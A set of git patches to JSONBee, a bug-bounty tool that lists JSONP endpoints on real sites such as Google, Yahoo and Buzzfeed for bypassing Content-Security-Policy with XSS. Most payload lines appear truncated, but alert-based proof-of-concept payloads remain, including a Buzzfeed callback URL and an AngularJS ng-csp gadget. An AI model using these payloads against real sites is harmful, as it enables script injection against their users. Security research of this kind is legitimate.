From d97ffd2eecadae58db80121efc5a100f557f87fa Mon Sep 17 00:00:00 2001 From: zigoo0 Date: Fri, 11 Jan 2019 09:22:15 +0100 Subject: [PATCH 01/11] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5d80108..86ff68f 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ # JSONBee A ready to use JSONP endpoints to help bypass content security policy of different websites. -The tool was presented during HackIT 2018 in Keiv. The presentation can be found here (not sure why format of the slides is screwed :D): https://www.slideshare.net/Hacken_Ecosystem/ebrahem-hegazy-bug-hunters-manual-for-bypassing-contentsecuritypolicy +The tool was presented during HackIT 2018 in Kiev. The presentation can be found here (not sure why format of the slides is screwed :D): https://www.slideshare.net/Hacken_Ecosystem/ebrahem-hegazy-bug-hunters-manual-for-bypassing-contentsecuritypolicy # What is JSONBee? From 46231e2ff97b4ee29ea3279599ee2195e6c349c7 Mon Sep 17 00:00:00 2001 From: zigoo0 Date: Fri, 11 Jan 2019 09:23:52 +0100 Subject: [PATCH 02/11] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 86ff68f..0ff0c34 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ The tool was presented during HackIT 2018 in Kiev. The presentation can be found # What is JSONBee? -The main idea behind this tool is to find the JSONP endpoint(s) that would help you bypass content security policy for your target website in an automated way. JSONBee takes an input of a url name (i.e. https://www.facebook.com), parses the CSP (Content-Security Policy), and automatically suggest the XSS payload that would bypass the CSP. It mainly focuses on JSONP endpoints gathered during my bug bounty hunting activities, and could be used to bypass the CSP. +The main idea behind this tool is to find the JSONP endpoint(s) that would help you bypass content security policy for your target website in an automated way. JSONBee takes an input of a url name (i.e. https://www.facebook.com), parses the CSP (Content-Security-Policy), and automatically suggest the XSS payload that would bypass the CSP. It mainly focuses on JSONP endpoints gathered during my bug bounty hunting activities, and could be used to bypass the CSP. JSONBee relies on 3 methods to gather the JSONP endpoints: * The repository within this project; From 80626ed5e7455753489cd444cd8dd9595abff51d Mon Sep 17 00:00:00 2001 From: zigoo0 Date: Sun, 10 Feb 2019 20:17:03 +0100 Subject: [PATCH 03/11] Update jsonp.txt Added a new Yahoo CB URL --- jsonp.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/jsonp.txt b/jsonp.txt index 58ec2fa..84743b7 100644 --- a/jsonp.txt +++ b/jsonp.txt @@ -28,6 +28,7 @@ "> "> "> +">x "> "> "> From 36c72ba47c156f11eed2ff42b402bd9ced763f38 Mon Sep 17 00:00:00 2001 From: zigoo0 Date: Sun, 15 Sep 2019 01:42:18 +0200 Subject: [PATCH 04/11] Adding www.google.com to the list --- jsonp.txt | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/jsonp.txt b/jsonp.txt index 84743b7..0e089cc 100644 --- a/jsonp.txt +++ b/jsonp.txt @@ -1,18 +1,19 @@ #Google.com: -"> -"> -"> -"> +"> +"> +"> +"> +"> #Blogger.com: -"> +"> #Yandex: -"> -"> +"> +"> #VK.com: -"> +"> #Marketo.com -"> -"> +"> +"> #AlibabaGroup: "> "> From cbfa3314080e9cea7278be51dbab9f50de44af0e Mon Sep 17 00:00:00 2001 From: Ebrahem Hegazy Date: Tue, 22 Oct 2019 22:12:35 +0200 Subject: [PATCH 05/11] Adding Yahoo.com Adding Yahoo.com --- jsonp.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/jsonp.txt b/jsonp.txt index 0e089cc..30379b2 100644 --- a/jsonp.txt +++ b/jsonp.txt @@ -30,6 +30,7 @@ "> "> ">x +"> "> "> "> From e353ccaa613911164343ef569364da3b5fd70189 Mon Sep 17 00:00:00 2001 From: Ebrahem Hegazy Date: Mon, 28 Oct 2019 14:34:58 +0100 Subject: [PATCH 06/11] Added Buzzfeed.com Added Buzzfeed.com --- jsonp.txt | 2 ++ 1 file changed, 2 insertions(+) diff --git a/jsonp.txt b/jsonp.txt index 30379b2..19dbbfb 100644 --- a/jsonp.txt +++ b/jsonp.txt @@ -24,6 +24,8 @@ "> #Uber.com: "> +#Buzzfeed.com +https://mango.buzzfeed.com/polls/service/editorial/post?poll_id=121996521&result_id=1&callback=alert(1)%2f%2f #AOL/Yahoo "> "> From 1a518ddf695ae3093ff637c5958802715e890d88 Mon Sep 17 00:00:00 2001 From: Ebrahem Hegazy Date: Tue, 5 Nov 2019 14:38:35 +0100 Subject: [PATCH 07/11] Adding Yahoo JP Adding Yahoo JP --- jsonp.txt | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/jsonp.txt b/jsonp.txt index 19dbbfb..7d74370 100644 --- a/jsonp.txt +++ b/jsonp.txt @@ -25,7 +25,10 @@ #Uber.com: "> #Buzzfeed.com -https://mango.buzzfeed.com/polls/service/editorial/post?poll_id=121996521&result_id=1&callback=alert(1)%2f%2f +"> +#Yahoo JP (Thanks to @nizam0906) +"> +"> #AOL/Yahoo "> "> From d11db66d9dff0f0844c40567fc6c42af5e00fdd9 Mon Sep 17 00:00:00 2001 From: Ebrahem Hegazy Date: Wed, 23 Feb 2022 12:01:11 +0200 Subject: [PATCH 08/11] Removing a patched app --- jsonp.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/jsonp.txt b/jsonp.txt index 7d74370..4ac7018 100644 --- a/jsonp.txt +++ b/jsonp.txt @@ -49,7 +49,6 @@ "> "> "> -"> "> "> "> From e106db204fdc436be9f9913c2a5b5b62b6f6af22 Mon Sep 17 00:00:00 2001 From: Ebrahem Hegazy Date: Wed, 23 Feb 2022 12:02:22 +0200 Subject: [PATCH 09/11] JSONP endpoints and payloads --- jsonp.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/jsonp.txt b/jsonp.txt index 4ac7018..17493f5 100644 --- a/jsonp.txt +++ b/jsonp.txt @@ -55,7 +55,7 @@ "> "> "> -#GoogleAPI's +#Google API's "> "> ng-app"ng-csp ng-click=$event.view.alert(1337)> From 332486bea44697a22307a0f2618babdb8aaefbe8 Mon Sep 17 00:00:00 2001 From: PinkDraconian Date: Tue, 3 Oct 2023 15:02:51 +0200 Subject: [PATCH 10/11] Added translate.googleapis.com Added a JSONP endpoint for translate.googleapis.com --- jsonp.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/jsonp.txt b/jsonp.txt index 17493f5..86a7dc9 100644 --- a/jsonp.txt +++ b/jsonp.txt @@ -59,3 +59,4 @@ "> "> ng-app"ng-csp ng-click=$event.view.alert(1337)> +"> From e5b3728b1bb20ac2b10d35ca9798f099ef473f9b Mon Sep 17 00:00:00 2001 From: Maltemo Date: Thu, 5 Oct 2023 11:51:43 +0200 Subject: [PATCH 11/11] Adding maps.googleapis.com endpoint --- jsonp.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/jsonp.txt b/jsonp.txt index 17493f5..d795c72 100644 --- a/jsonp.txt +++ b/jsonp.txt @@ -4,6 +4,7 @@ "> "> "> +"> #Blogger.com: "> #Yandex: